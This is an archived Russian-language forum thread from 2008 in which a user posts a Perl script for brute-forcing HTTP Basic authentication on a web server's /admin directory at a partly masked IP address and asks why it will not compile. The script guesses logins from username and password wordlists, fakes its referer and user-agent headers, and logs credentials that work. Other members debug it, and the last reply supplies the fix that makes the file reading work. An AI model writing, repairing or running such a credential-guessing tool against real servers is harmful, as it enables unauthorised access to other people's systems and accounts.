PDA

Просмотр полной версии : При компиле эррор :s


IIAHbI4
19.03.2008, 12:22
вобщем попытался написать небольшой перловый брут форс для веб формы.Вроде бы всё нормально но при канпеляции выдаёт :

C:\Documents and Settings\Паныч>perl brut.pl
syntax error at brut.pl line 13, near "=;"
syntax error at brut.pl line 17, near "=;"
Execution of brut.pl aborted due to compilation errors.

что не так в синтаксисе?

#!/usr/bin/perl
use MIME::Base64;
use IO::Socket;
use POSIX;
$server="***.***.60.23";
$port="80";
$dir="/admin";
$logfile="sucess.log";
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="bigdict.txt";
$users="users.txt";
open(file, "<$words") or die print "$!\n";
@pwd_data=;
$total=@pwd_data;
close file; ### Записываем все пароли в один массив
open(file, "<$users") or die print "$!\n";
@users_data=;
$total*=@users_data;
close file; ### Записываем всех пользователей в один массив
$i=0;
foreach $user (@users_data) {
foreach $pass (@pwd_data) {
$i++;
chomp($pass);
chomp($user);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);
### Порождаем сокет
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш

$ans=<$socket>; ### Получаем ответ от сервера


if ($ans=~/200 Ok/i or $ans=~/301/i) {
open(logf, ">>$logfile") or die print "$!\n"; ### пишем в success-лог
print logf "$user:$pass is OK!!!\n";
close logf;
}
close($socket);
}
}

_____________________________________________
maby yes or maby not, а мне по*** я .:ЕноТ:.

biophreak
19.03.2008, 15:04
@pwd_data=();
@users_data=();
Наверное, все таки, так =))))
Получалось так, что ты приравниваещь к чему-то, а к чему непонятно(точнее к ; ) =))
ЗЫЖ Можно просто my @pwd_data; и my @users_data;
И совет небольшой: юзай в скриптах use warnings и use strict;

Isis
19.03.2008, 15:22
@pwd_data='';
@users_data='';

KSURi
19.03.2008, 15:31
хуя исис хакер... а почему так?

IIAHbI4
19.03.2008, 16:04
попробовал и те и другие операторы ... ниху* ... не реагирует вообще никак.

разобрался в чём косяк, но тепер ьскрипт не брутит :\
создаёт 2 файла now и sucess пустые.Хотя в нау.тхт должен быть лог а там 100% Done 1 of 1 Now: :

biophreak
19.03.2008, 16:16
А если заменить запись в файл на простой print - будет чтонить на экран писать?

IIAHbI4
19.03.2008, 16:25
да он не брутит помоему... ладн прийду после работы почикаюсь с ним.Будут идеи ложите сюда.

Piflit
19.03.2008, 19:18
@pwd_data='';
@users_data='';
ыы

мб так?

my @pwd_data;
my @users_data;

IIAHbI4
19.03.2008, 20:46
неа ... мда .... херня какайто.

IIAHbI4
20.03.2008, 13:07
никак не могу до ума довести, помогёт ктонить?

krypt3r
20.03.2008, 13:51
Дык эт-та

open(file, "<$words") or die print "$!\n";
@pwd_data=;
$total=@pwd_data;
close file; ### Записываем все пароли в один массив
open(file, "<$users") or die print "$!\n";
@users_data=;
$total*=@users_data;
close file; ### Записываем всех пользователей в один массив

если массивы @pwd_data и @users_data предполагается заполнить данными из файлов (соответственно, пароли и список возможных пользователей), то код такой должен быть

open(file, "<$words") or die print "$!\n";
@pwd_data=<file>;
$total=@pwd_data;
close file; ### Записываем все пароли в один массив
open(file, "<$users") or die print "$!\n";
@users_data=<file>;
$total*=@users_data;
close file; ### Записываем всех пользователей в один массив